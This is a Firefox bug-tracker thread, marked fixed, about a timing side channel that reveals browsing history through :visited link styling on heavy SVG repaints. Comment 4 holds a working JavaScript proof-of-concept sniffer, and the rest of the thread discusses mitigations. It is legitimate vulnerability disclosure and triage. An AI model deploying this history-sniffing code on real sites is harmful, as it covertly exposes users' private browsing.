1239897 - Browsing history leakage by utilizing :visited pseudo together with complex SVG's.

Status: RESOLVED FIXED

(Core :: Layout, defect)

Description

[pierre]

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Steps to reproduce:

The idea is pretty basic, inject the below html and css on the page:

<style>
#i-know-what-you {
  stroke:               black !important;
  fill:                 black !important;
}

#i-know-what-you:visited {
  stroke:               red !important;
  fill:                 red !important;
}
</style>
<a id="i-know-what-you" href="url you want to check">
   <svg>
    <path d="very complex path">
</a>

A toggle between a visited and unvisited page will cause a repaint of the svg, and if the 
repaint is heavy enough, a difference can be measured compared to a toggle
between two unvisited pages.

So what I did was to write a library that first calibrate itself based on what 
device the script is being run at, and so far, it has worked properly on my computer
in Safari, Firefox and Chrome and also on my iPhone.


function calibrate(done){}
1.
  a. swaps beetween two unvisited links for 200ms
  b. collect a # of swaps every 50ms

2.
  a. swaps beetween one visited link and one unvisited for 200ms (causes repaints)
  b. collect a # of swaps every 50ms

3. measure the mean of all swaps
4. if mean difference between 1 and 2 is enough, calibration done
5. else add 100 svg elements to <a> and jump to 1.

once I got this working, I quickly wrote  a library where I now can call

visited.check('http://randomsite.com', function(err,result){})

and it will give me back 'visited', 'unvisited' or 'uncertain' together
with a probability.

I think this is kind of serious.

Also, this is the first time I report a bug like this and I really want to do it the right way, so please bear with me if I'm doing any misstakes. :)



Actual results:

visited.check('http://taylorswift.com',function(err, results){console.log(results)})
> {status:'visited', url:'http://reimertz.co'}

visited.check('http://youporn.com',function(err, results){console.log(results)})
> {status:'unvisited', url:'http://reimertz.co'}



Expected results:

Don't be vulnerable to timing attacks.

Comment 1

[pierre]

actual results should be 
> {status:'visited', url:'http://taylorswift.com'}
> {status:'unvisited', url:'http://youporn.com'}

I just edited them to further strengthen the point of fixing this bug.

Comment 2

[:Gijs (he/him)]

Can you provide a working testcase?

Based on http://dbaron.org/mozilla/visited-privacy, pinging dbaron about this.

Comment 3

[pierre]

Would you prefer me to hand you my entire library, or just rewrite it so it works for one use case?
It feels a bit dangerous to release the full thing, because, in the wrong hands..

Comment 4

[pierre]

Here is a stripped down version of the code. Just paste include it on any page and then 
call visited.check(url). I assume you won't distribute the code. 

visited.check('http://google.com')
> VM2389:133 Object {url: "http://google.com", samples: 4, iterations: 6.25}

visited.check('http://i-know-what-you-visited.com')
> VM2389:133 Object {url: "http://i-know-what-you-visited.com", samples: 4, iterations: 13.25}

And you can clearly see a difference in number of iterations.




/*
* @preserve visited.js
* (c) 2014 Pierre Reimertz
* YOU ARE NOT ALLOWED TO DISTRIBUTE THIS IN ANY WAY!
*/

(function(exports, html, body){
  'use strict';

var _link,
    _defaults = {
      tagId : 'i-know-what-you',
    },
    isSafari = navigator.vendor.indexOf("Apple")==0 && /\sSafari\//.test(navigator.userAgent),

    _sampling = undefined,
    _counter = 0,
    _switcher = false,
    _ready = true,

    _currentURL = '',
    _visitedURL = window.location.href,
    _unvisitedURL = _visitedURL.replace("://", "://w"),
    _unvisitedURL2 = _unvisitedURL.replace("://", "://w");

function _appendCSS(){
  var style = document.createElement("style");
  style.innerHTML = '#i-know-what-you{transition:none!important;opacity:1!important;color:#000!important;pointer-events:none!important;position:fixed!important;visibility:hidden!important;width:0!important;height:0!important;stroke:#000!important;fill:#000!important}#i-know-what-you:visited{stroke:#FEFEFE!important;fill:#FEFEFE!important}';
  style.type = "text/css"; style.rel = "stylesheet";

  document.getElementsByTagName("head")[0].appendChild(style);
}

function _appendHTML(){
  var link = document.createElement('a');
  link.id = _defaults.tagId;

  document.getElementsByTagName("body")[0].appendChild(link);
  _link = document.getElementById(_defaults.tagId);
}

function _appendSVGElements(amount) {
  while(amount>0){
    var svg = document.createElement('svg');
    svg.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
    svg.setAttribute('version', '1.0');
    svg.setAttribute('viewBox', '0 0 100 100');
    svg.setAttribute('width','100pt');
    svg.setAttribute('height','100pt');
    svg.setAttribute('preserveAspectRatio', 'xMidYMid meet');

    var p1 = document.createElement("path");
    var p2 = document.createElement("path");
    var p3 = document.createElement("path");
    p1.setAttribute('d', "M447 1073 c-61 -20 -134 -86 -169 -150 -17 -30 -36 -96 -51 -170 -18 -90 -37 -147 -75 -229 -73 -159 -155 -432 -141 -471 5 -13 4 -25 -1 -28 -6 -4 -10 -10 -10 -16 0 -14 144 -11 158 3 9 9 12 9 12 0 0 -9 70 -12 289 -11 283 2 289 2 299 23 6 12 11 15 11 7 1 -10 4 -11 15 -2 11 10 16 8 21 -9 5 -17 13 -21 43 -18 l37 3 9 70 c6 46 5 110 -3 190 -6 66 -14 197 -16 290 -6 217 -10 236 -55 252 l-35 12 33 0 c30 1 33 3 26 24 -30 99 -105 190 -187 228 -52 23 -143 24 -210 2z m187 -166 c24 -11 32 -23 46 -74 17 -64 12 -99 -12 -75 -15 15 -82 16 -109 2 -13 -8 -19 -21 -19 -45 0 -45 28 -63 103 -67 31 -2 57 -4 57 -6 0 -2 -7 -17 -16 -35 l-15 -32 26 28 c19 21 23 35 19 54 -4 15 -3 24 2 20 5 -3 8 11 6 33 -2 21 1 41 7 44 7 5 10 -16 7 -66 -1 -40 0 -85 5 -100 5 -19 0 -41 -17 -79 -23 -49 -23 -52 -4 -34 20 18 20 18 20 -9 0 -30 -21 -75 -56 -122 -13 -17 -24 -38 -24 -47 0 -15 -31 -42 -77 -66 -19 -10 -22 -9 -17 4 5 11 2 14 -12 8 -11 -3 -22 -10 -25 -15 -3 -5 -29 -6 -58 -2 -38 5 -51 10 -47 20 3 9 -2 14 -14 14 -11 0 -20 5 -20 11 0 6 -6 16 -13 24 -7 7 -19 39 -26 70 -9 38 -16 53 -21 45 -6 -9 -13 5 -23 41 -19 70 -20 114 -5 158 7 20 11 41 10 47 -1 6 8 10 20 9 13 -1 23 -3 23 -5 0 -1 20 -3 44 -4 39 -2 46 1 62 28 11 17 19 38 19 47 0 24 -43 58 -78 62 -55 6 -62 24 -24 58 18 16 29 29 25 29 -5 1 3 7 17 15 14 7 35 11 48 8 13 -3 22 -1 22 6 0 15 107 13 144 -2z")
    p2.setAttribute('d', "M549 596 c13 -14 20 -30 16 -36 -6 -9 -9 -9 -15 0 -4 6 -30 13 -59 15 -39 2 -53 -1 -61 -13 -5 -10 -10 -12 -10 -4 0 6 -4 12 -9 12 -5 0 -8 -11 -7 -23 1 -17 6 -23 19 -19 27 7 20 -6 -13 -23 -37 -19 -40 -19 -40 3 -1 16 -1 16 -11 0 -5 -10 -16 -15 -24 -12 -20 8 -20 -20 0 -36 9 -7 13 -15 10 -18 -6 -7 14 -32 26 -32 5 0 9 7 9 15 0 18 -3 17 37 6 18 -5 35 -6 38 -1 3 4 20 6 37 4 18 -2 40 -4 48 -5 34 -4 80 2 80 10 0 19 -92 34 -177 28 -51 -3 -80 -1 -72 4 8 5 22 9 32 9 9 0 26 9 38 21 14 14 29 19 45 16 13 -2 21 0 18 4 -3 5 1 9 8 10 7 1 24 2 37 2 13 1 29 10 35 20 9 14 6 22 -18 42 -37 32 -46 32 -17 1z");
    p3.setAttribute('d', "M895 650 c6 -69 18 -512 16 -562 -2 -36 22 -88 40 -88 12 0 12 246 -1 340 -30 239 -43 327 -51 345 -5 13 -7 0 -4 -35z");

    var g = document.createElement("g");
    g.setAttribute('transform', 'translate(0,100) scale(0.1,-0.1)');

    g.appendChild(p1); g.appendChild(p2); g.appendChild(p3);
    svg.appendChild(g);
    _link.appendChild(svg);

    amount--;
  }
};

function _switch(){
  _counter++;
  ((_switcher ^= true)) ? (_link.href = _currentURL) : (_link.href = _unvisitedURL2);
}

if(isSafari){
  _switch = function(){
    _counter++;
    _link.style.display = 'none';
    ((_switcher ^= true)) ? (_link.href = _currentURL) : (_link.href = _unvisitedURL2);
    _link.style.display = 'block';
  }
}

function _sampler() {
  _sampling.mPoints.push(_counter);
  _counter = 0;
}

function _mean(array) {
  var sum = 0;
  for (var i = 0; i < array.length; i++) {
    sum += array[i];
  }
  return sum / array.length;
}

function _urlIterator(url, done){
  var index,
      retries,
      results = {},
      switchInterval,
      samplingInterval,
      iteratorController;

  function startCycle(i, r){
    index = i || 0;
    retries = r || 0;
    _counter = 0;
    _currentURL = url;
    _sampling = {mean:undefined, mPoints:[]},

    switchInterval = setInterval(_switch, 0);
    samplingInterval = setInterval(_sampler, 50);
    iteratorController = setTimeout(controller, 200);
  }

  function controller(){
    var status, m;

    clearInterval(switchInterval);
    clearInterval(samplingInterval);

    m = _mean(_sampling.mPoints);

    
    results = {
      url:_currentURL,
      samples: _sampling.mPoints.length,
      iterations: m
    };

    console.log(results);
  };

  startCycle();
}

function check(url) {
  if(!_ready) return 'not ready yet';
  if( typeof url === 'string') return _urlIterator(url);

  else throw Error('invalid argument');
}

var visited = {
  check: check
}

_appendCSS();
_appendHTML();
_appendSVGElements(4000);
  
exports.visited = visited;

})(window, document.getElementsByTagName("html")[0], document.getElementsByTagName('body')[0]);

Comment 5

[pierre]

less iterations > more work for the browser > caused svg repaint > url is :visited

Comment 6

[pierre]

Any updates?

Comment 7

[Daniel Veditz [:dveditz]]

dbaron: is this a different mechanism from the known timing attacks (that were repaint based IIRC)? or the Paul Stone SVG filter ones?

testcase-wanted as a reminder to turn the comment 4 code into something we can run from an attachment to aid later re-testing.

Comment 8

[Daniel Holbert [:dholbert]]

(In reply to pierre from comment #0)
> A toggle between a visited and unvisited page will cause a repaint of the
> svg, and if the 
> repaint is heavy enough, a difference can be measured compared to a toggle
> between two unvisited pages.

Note: this sounds similar to bug 1224397 (which simply uses a different way of watching for paints to figure out whether a link is :visited).

Comment 9

[Daniel Holbert [:dholbert]]

pierre: out of curiosity, do you know if your attack works in other browsers, or do they have some sort of mitigation?

Comment 10

[pierre]

daniel: my implementation work on ios, safari, firefox and chrome, so I would say it's cross-browser.

Comment 11

[pierre]

What are your stand on this? I get no reply from Microsoft and Webkit browsers doesn't seem to think there is a solution for it. 

I think there is a solution though.
Why not introduce a random time penalty when changing url of a link programmatically?

This is my pseudo code, suggestion how it could be implemented. 


function hrefChanged(element, hrefContent){
  if((Date.now() - element.lastChanged()) > SOME_PREDEFINED_DURATION_THAT_IS_ALLOWED) {
    element.timesChanged++
  }
  else {
    element.timesChanged--
  }

  if(link.timesChanged > SOME_PREDEFINED_N_TIMES_CHANGED_THAT_IS_ALLOWED) {
    setTimeout(function(){
      setUrl(element, hrefContent);
    }, Math.random() * 1000)
  }
  else {
    setUrl(element, hrefContent);
  } 
}

Comment 12

[Daniel Holbert [:dholbert]]

I don't think that would solve this class of problem robustly.  (It would be very tricky to do what you suggest in a way that leaks *no* information.  And it would incur a performance penalty, which is unfortunate.)

Quoting dbaron from related bug 1224397 comment 3:
> I think we should probably be looking at figuring out an alternative
> solution for visited links, like doing link coloring based on (link origin x
> destination URL) rather than just on destination URL.  (I had a chat with
> Yoav Weiss about this at TPAC.)  This because the measures we've been
> needing to take for visited link privacy lately are in the way of a number
> of things we want to do to allow Web developers to measure performance well,
> or (alternatively) of good performance.

Comment 13

[Emilio Cobos Álvarez (:emilio)]

I guess always invalidating style and paint whenever href changed would fix this. But it's not great :(

We could post a restyle event with eRestyle_Subtree | nsChangeHint_RepaintFrame when the visited links are changed. That'd simplify a bit :visited style invalidation as well, but it'd be a perf hit for sure (not sure how measurable).

David, do you think that's an acceptable solution for this?

Comment 14

[Jonathan Watt [:jwatt]]

You're describing the initial idea for bug 557579 FWIW.

Comment 15

[Mats Palmgren (inactive)]

Fwiw, this got attention recently by https://motherboard.vice.com/en_us/article/zm9jd4/old-school-sniffing-attacks-can-still-reveal-your-browsing-history which surfaced on Slashdot and other outlets.
Based on the paper: https://www.spinda.net/papers/smith-2018-revisited.pdf
"With this strategy, actors can test 60 sensitive URLs per second."

Comment 16

[Tom Ritter [:tjr] (OOTO until 9/2)]

Fixed in Bug 1632765